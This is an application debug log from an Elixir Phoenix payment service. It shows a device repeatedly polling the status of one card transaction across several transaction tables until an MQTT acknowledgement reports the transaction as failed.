SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:08:18.427000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53978] QUERY OK source="pos_failed_transaction" db=2.4ms idle=1597.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:08:18.428000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53978] QUERY OK source="cloud_transaction" db=0.5ms idle=1600.4ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:08:18.428000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53978] Sent 200 in 20ms
[Thu Sep  3 12:08:23.217000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53992] POST /api/device/status
[Thu Sep  3 12:08:23.217000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:53992] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:08:23.217000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53992] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:08:23.218000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53992] Transaction reference number: "ch261925438545"
[Thu Sep  3 12:08:23.231000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53992] QUERY OK source="pos_transaction" db=12.8ms idle=1391.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:08:23.232000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53992] QUERY OK source="pos_temp_transaction" db=0.4ms idle=1404.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:08:23.235000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53992] QUERY OK source="pos_failed_transaction" db=2.7ms idle=1405.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:08:23.236000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53992] QUERY OK source="cloud_transaction" db=0.7ms idle=1408.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:08:23.236000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53992] Sent 200 in 19ms
[Thu Sep  3 12:08:28.213000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53070] POST /api/device/status
[Thu Sep  3 12:08:28.213000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:53070] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:08:28.213000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53070] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:08:28.214000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53070] Transaction reference number: "ch261925438545"
[Thu Sep  3 12:08:28.233000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53070] QUERY OK source="pos_transaction" db=18.8ms idle=1386.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:08:28.235000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53070] QUERY OK source="pos_temp_transaction" db=0.9ms queue=0.9ms idle=1405.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:08:28.240000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53070] QUERY OK source="pos_failed_transaction" db=5.0ms idle=1407.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:08:28.242000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53070] QUERY OK source="cloud_transaction" db=0.9ms queue=0.1ms idle=1413.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:08:28.242000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53070] Sent 200 in 29ms
[Thu Sep  3 12:08:33.182000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53072] POST /api/device/status
[Thu Sep  3 12:08:33.183000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:53072] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:08:33.183000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53072] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:08:33.183000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53072] Transaction reference number: "ch261925438545"
[Thu Sep  3 12:08:33.198000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53072] QUERY OK source="pos_transaction" db=14.7ms idle=1354.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:08:33.199000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53072] QUERY OK source="pos_temp_transaction" db=0.6ms idle=1369.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:08:33.204000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53072] QUERY OK source="pos_failed_transaction" db=4.8ms idle=1370.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:08:33.205000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53072] QUERY OK source="cloud_transaction" db=0.6ms idle=1375.7ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:08:33.205000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53072] Sent 200 in 23ms
[Thu Sep  3 12:08:38.193000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:54576] POST /api/device/status
[Thu Sep  3 12:08:38.193000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:54576] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:08:38.193000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:54576] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:08:38.193000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:54576] Transaction reference number: "ch261925438545"
[Thu Sep  3 12:08:38.207000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:54576] QUERY OK source="pos_transaction" db=13.3ms idle=1364.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:08:38.209000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:54576] QUERY OK source="pos_temp_transaction" db=1.2ms idle=1377.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:08:38.212000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:54576] QUERY OK source="pos_failed_transaction" db=2.6ms idle=1379.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:08:38.213000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:54576] QUERY OK source="cloud_transaction" db=0.6ms idle=1382.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:08:38.213000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:54576] Sent 200 in 20ms
[Thu Sep  3 12:08:43.188000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch261925438545","money": "200.0", "status": "FAILED" }
[Thu Sep  3 12:08:43.188000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch261925438545: %{"money" => "200.0", "request_id" => "ch261925438545", "status" => "FAILED"}
[Thu Sep  3 12:08:43.188000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch261925438545 is failed
[Thu Sep  3 12:08:43.195000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=6.0ms idle=1359.1ms
